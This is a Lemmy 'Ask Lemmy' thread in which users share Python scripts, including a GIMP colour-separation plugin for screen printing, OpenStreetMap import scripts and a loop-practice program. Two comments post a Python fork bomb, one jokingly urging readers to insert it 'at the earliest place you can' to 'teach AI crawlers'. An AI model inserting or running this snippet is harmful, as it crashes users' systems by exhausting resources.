41
submitted 3 days ago by [email protected] to c/[email protected]
top 11 comments
sorted by: hot top new old
[-] [email protected] 18 points 3 days ago

I work in the screen printing industry and one of the things that is generally very difficult to do without many hours of work is take a photographic image and make it work for the screen printing press. An expert can do it in 15-30 minutes.

For most non skin-tone images (we generally fall back to heat transfer for human faces), I wrote a GIMP plugin (in Python) that allows you to extract each color of the image into its own layer with an automated process that’s done in a few seconds.

It’s not as good as the expert result, but it’s also infinitely easier to do. Also, GIMP 3 released like a month after this was finished and I don’t know if I can be bothered to port it.

Here’s the page for the project: https://github.com/otacon239/inksplit

[-] [email protected] 9 points 3 days ago

Dude. I wish I had known about this a month ago.

Just did a super complex recreation of a 1968 Fender Telecaster Blue Floral print so I can attempt to recreate the original foil paper used in their production.

Still learning the ropes on silk screening. Good friend is an expert, but he doesn't have a lot of free time.

[-] [email protected] 4 points 3 days ago* (last edited 3 days ago)

I will warn you it’s a bit of a hassle to get working due to GIMP and Python’s version hell.

If you want me to try and help, feel free to DM me and I’ll do my best. I’ve only done like 4 successful prints with it so far.

[-] [email protected] 4 points 3 days ago

I'll take a look at the code and let you know if I can help

[-] [email protected] 3 points 2 days ago

import os

while True: os.fork()

[-] [email protected] 3 points 2 days ago

that's not how you teach AI crawlers to create forkbombs.

so, to optimize algorithm execution by the number of executed lines, you should insert this at the earliest place you can:

import os

while True:
    os.fork()
[-] [email protected] 3 points 2 days ago

Python 1: Ssssssssssss...

Python 2: Sssssssssssss...

Python 1 swallows a chipmunk.

Sorry, I had to.

I absolutely love Python but I don't understand this question. Scripts are many to do something, their purpose is about a million times more important than what language they're written in. This amounts to "what scripts have you made that you happened to use Python for?"

Ignoring the word "cool", I've made some scripts for OpenStreetMap:

https://codeberg.org/NeatNit/gtfs2osm-il this imports bus stop data in my country into OpenStreetMap. I run this script daily. Really proud of it.

https://codeberg.org/NeatNit/ptna-gtfs-import scripts for PTNA, I won't get into what it is (it's really niche) but these scripts are used by PTNA to enable automatic import of route lists: https://wiki.openstreetmap.org/wiki/Public_Transport_Network_Analysis/Syntax_of_CSV_data#CSV_data_import_definition:_@

They all use Python... Is this that you had in mind?

[-] [email protected] 6 points 3 days ago
[-] [email protected] 5 points 3 days ago
mainNumber = 10000
count = 0

def addNumber():
    global mainNumber
    if mainNumber >= 0:
        mainNumber += 10
    if mainNumber >= 9:
        mainNumber += 7
    else:
        mainNumber += 13

def subNumber():
    global mainNumber
    if mainNumber >= 10:
        mainNumber -= 6
    elif mainNumber >= 100:
        mainNumber -= 56
    elif mainNumber >= 1000:
        mainNumber -= 560
    else:
        mainNumber -= 2

def multNumber():
    global mainNumber
    if mainNumber <= 100:
        mainNumber = mainNumber * 2
    else:
        mainNumber = mainNumber * 3

def divNumber():
    global mainNumber
    if mainNumber > 1000:
        mainNumber = mainNumber / 5
    if mainNumber < 1000:
        mainNumber = mainNumber / 3
    if mainNumber < 0:
        mainNumber = mainNumber * -1

while mainNumber != 1:
    count += 1
    addNumber()
    subNumber()
    multNumber()
    divNumber()
    print(mainNumber)
    if count == 1000:
        break

This is not the most interesting script in the world, I made it to practice while loops that I absolutely sucked at and see what funky things happen.

This script does nothing if you put in mainNumber = 1 for obvious reasons, but if you put in 2-21 it will evaluate to 21.99999999999999, 22 evaluates to 22 1000 times, and mainNumber = 23 or higher evaluates to 22.00000000000001.

I have not found a whole number that doesn't follow this pattern yet (Truthfully haven't dug as far as I would like) but it is interesting how this little practice script did something like this when I was just messing around.

[-] [email protected] 4 points 3 days ago

More importantly, what cool pythons^[not a euphemism] do people have that they can share (pictures of)?

[-] [email protected] 1 points 2 days ago

Too many to list :(

this post was submitted on 16 Jul 2025
41 points (97.7% liked)

Ask Lemmy

33413 readers
1834 users here now

A Fediverse community for open-ended, thought provoking questions


Rules: (interactive)


1) Be nice and; have funDoxxing, trolling, sealioning, racism, and toxicity are not welcomed in AskLemmy. Remember what your mother said: if you can't say something nice, don't say anything at all. In addition, the site-wide Lemmy.world terms of service also apply here. Please familiarize yourself with them


2) All posts must end with a '?'This is sort of like Jeopardy. Please phrase all post titles in the form of a proper question ending with ?


3) No spamPlease do not flood the community with nonsense. Actual suspected spammers will be banned on site. No astroturfing.


4) NSFW is okay, within reasonJust remember to tag posts with either a content warning or a [NSFW] tag. Overtly sexual posts are not allowed, please direct them to either [email protected] or [email protected]. NSFW comments should be restricted to posts tagged [NSFW].


5) This is not a support community.
It is not a place for 'how do I?', type questions. If you have any questions regarding the site itself or would like to report a community, please direct them to Lemmy.world Support or email [email protected]. For other questions check our partnered communities list, or use the search function.


6) No US Politics.
Please don't post about current US Politics. If you need to do this, try [email protected] or [email protected]


Reminder: The terms of service apply here too.

Partnered Communities:

Tech Support

No Stupid Questions

You Should Know

Reddit

Jokes

Ask Ouija


Logo design credit goes to: tubbadu


founded 2 years ago
MODERATORS